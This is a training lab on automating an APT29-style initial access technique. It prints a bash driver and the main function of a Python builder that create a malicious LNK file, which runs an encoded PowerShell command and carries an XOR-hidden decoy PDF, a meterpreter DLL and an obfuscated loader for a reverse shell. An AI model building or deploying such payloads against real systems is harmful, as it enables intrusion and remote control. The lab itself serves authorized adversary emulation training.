Lab 4.4: Automating Adversary TTPs

# Introduction

Adversaries have been found to perform complicated TTPs in the course of an attack against a target. Emulating these TTPs can prove to be a lengthy and error-prone manual process. TTP Automation is a valuable skill in making the execution of such TTPs easily repeatable and free of errors.

In this lab, we will demonstrate the automation of the initial access TTP emulated in Lab 4.2. You will follow provided samples of code to observe how automation of that TTP may be achieved using Python and Bash scripting. Deep coding or scripting knowledge is not required to follow along with this lab.

# Objectives:

1. Describe the reason for and value of automation.
2. Create and execute the APT29 initial access TTP using automated tooling.

# Estimated Completion Time:

* 10 minutes

# Requirements

1. Kali VM – used as attack platform to generate payload and receive reverse shell.
2. Windows Workstation – used as victim workstation to execute the APT 29 emulated payload.

Malware Warning

Fundamentally, this course entails executing publicly known adversary TTPs so that we can assess and improve cybersecurity. As a result, many of our tools and resources will likely be flagged malicious by security products. We make every effort to ensure that our adversary emulation content is trusted and safe for the purpose of offensive security testing.

As a precaution, you should not perform these labs on any system that contains sensitive data. Additionally, you should never use capabilities and/or techniques taught in this course without first obtaining explicit written permission from the system/network owner(s).

# Overview

In Lab 4.2, we created an initial access payload following a TTP that APT29 has been found to use. It was a very complex process for a single TTP, taking upwards of 30 minutes to walk through and execute. It also involved many steps, some of which required close attention to detail. With this combination of complexity and length, emulating this TTP not only becomes cumbersome, but also prone to error.

This is not an isolated case either. Adversaries continue to develop their tooling and procedures, which become increasingly sophisticated as they work to bypass defenses. Emulating those tools and procedures will also prove to be an increasingly complex and lengthy process.

To decrease both the amount of time taken to reproduce a TTP and the chances of error, we automate the TTP emulation process. Admittedly, developing the automation does take some time. However, we save time and reduce pressure during engagements where we need to reproduce the TTP.

# Walkthrough

For this TTP, the heavy lifting has already been done. Several Python and Bash scripts have been written to automate the process performed in Lab 4.2. The Python scripts perform the bulk of the work, such as creation of the base LNK object, preparation of and appending the loader scripts, and compressing the entire payload. The Bash scripts connect the pieces, performing setup, triggering the creation of the payload, and finally performing cleanup.

The custom-built scripts in the Lab 4.4 repo are all either very easy to read or are heavily commented. They should be easy to understand on your own even without deep knowledge of coding. We’ll walk through a few of the scripts here to gain familiarity with the overall processes of the automation.

## auto\_lnk.sh

#! /bin/bash

echo "[+] Cleaning up previously existing artifacts"

# This script deletes several artifacts created in the process of constructing the LNK payload.

scripts/cleanup.sh

echo "[+] Prepping required files"

# This script creates the meterpreter DLL with the appropriate local IP address.

scripts/prep-automation.sh

echo "[+] Creating the malicious LNK payload"

# This Python script creates the LNK file, and configures and appends the dummy PDF and loader scripts.

tools/lnk\_payload.py

echo "[+] Payload created!"

# Cleaning up some of the artifacts left behind.

rm -f resources/loader.ps1

rm -f resources/stage1\_command.ps1

rm -f resources/ds7002.lnk

rm -f resources/meterpreter.dll

The first thing that auto\_lnk.sh does is cleans up the working directories of any files from previous attempts at building the LNK payload. It then calls msfvenom to create a meterpreter payload in DLL format. Next, it runs lnk\_payload.py, which is the custom Python script that builds the LNK payload. We’ll go into more detail on lnk\_payload.py in the next section. Lastly, it cleans up artifacts left behind by lnk\_payload.py along with the meterpreter DLL.

*Which directory is lnk\_payload.py found in?*

1. scripts
2. resources
3. tools

## lnk\_payload.py

As this is a longer script, we’ll look only at the main function to understand the operational flow. The entire function is presented below. The function is also presented in pieces along with explanations of each section so you can follow along easily.

Note: If you are digging into the code, many variables are defined in configs.py.

def main():

"""

This function:

- prepares the loader and stage 1 scripts

- constructs the malicious LNK file, passing the stage 1 script as the encoded PowerShell command to execute

- appropriately appends the dummy PDF, meterpreter DLL, and loader script to the LNK file

- zips the resulting LNK file

"""

prepare\_loader(pdf\_filename, dll\_filename, loader\_template, loader\_outfile)

prepare\_stage1(loader\_outfile, stage1\_template, stage1\_outfile)

stage1\_command = get\_stage1\_command(stage1\_outfile)

arguments = argument\_prefix + stage1\_command

evillnk.create\_lnk(lnk\_filename, target, arguments, icon, icon\_index)

append\_file(pdf\_filename, lnk\_filename, to\_encode=False, xor\_key='a', seek=0x3000)

append\_file(dll\_filename, lnk\_filename, to\_encode=False, xor\_key='a', seek=0x30000)

append\_file(loader\_outfile, lnk\_filename, to\_encode=True, xor\_key=None, seek=0x5e2be)

create\_zip(lnk\_filename, zip\_filename)

First, the main function prepares the loader and stage 1 PowerShell scripts by calling the prepare\_loader() and prepare\_stage1() functions. These functions fill in the appropriate file sizes for the placeholders in each of the script templates and then obfuscates the resulting script using PyFuscation.

prepare\_loader(pdf\_filename, dll\_filename,loader\_template,loader\_outfile)

prepare\_stage1(loader\_outfile, stage1\_template, stage1\_outfile)

Next, get\_stage1\_command() is called, which reads the contents of the obfuscated stage 1 script. The contents are then encoded as UTF-16LE, and then encoded into Base64.

stage1\_command = get\_stage1\_command(stage1\_outfile)

arguments = argument\_prefix + stage1\_command

The encoded string is inserted into a PowerShell command designed to execute the script, which is passed to evillink.create\_lnk(). That function creates the actual LNK file with the PowerShell command to execute.

evillnk.create\_lnk(lnk\_filename, target, arguments, icon, icon\_index)

Once the LNK file is created, main appends the PDF and DLL to it, XOR encrypting both with ‘a’. It then appends the loader PowerShell script with Base64 encoding.

append\_file(pdf\_filename, lnk\_filename, to\_encode=False, xor\_key='a', seek=0x3000)

append\_file(dll\_filename, lnk\_filename, to\_encode=False, xor\_key='a', seek=0x30000)

append\_file(loader\_outfile, lnk\_filename, to\_encode=True, xor\_key=None, seek=0x5e2be)

Finally, main zips up the LNK file to create our Zip payload.

create\_zip(lnk\_filename, zip\_filename)

*Which function encodes the stage 1 script?*

1. append\_file()
2. prepare\_stage1()
3. get\_stage1\_command()

## Execution

To create our initial access payload using the automated tooling, navigate to the lab\_4.4 directory and execute auto\_link.sh.

![Text

Description automatically generated]()

With one command, we’ve created and configured our entire payload, and demonstrated the value of automation!

*How easy was it to recreate the LNK payload using the provided automation compared to the manual method?*

1. Very easy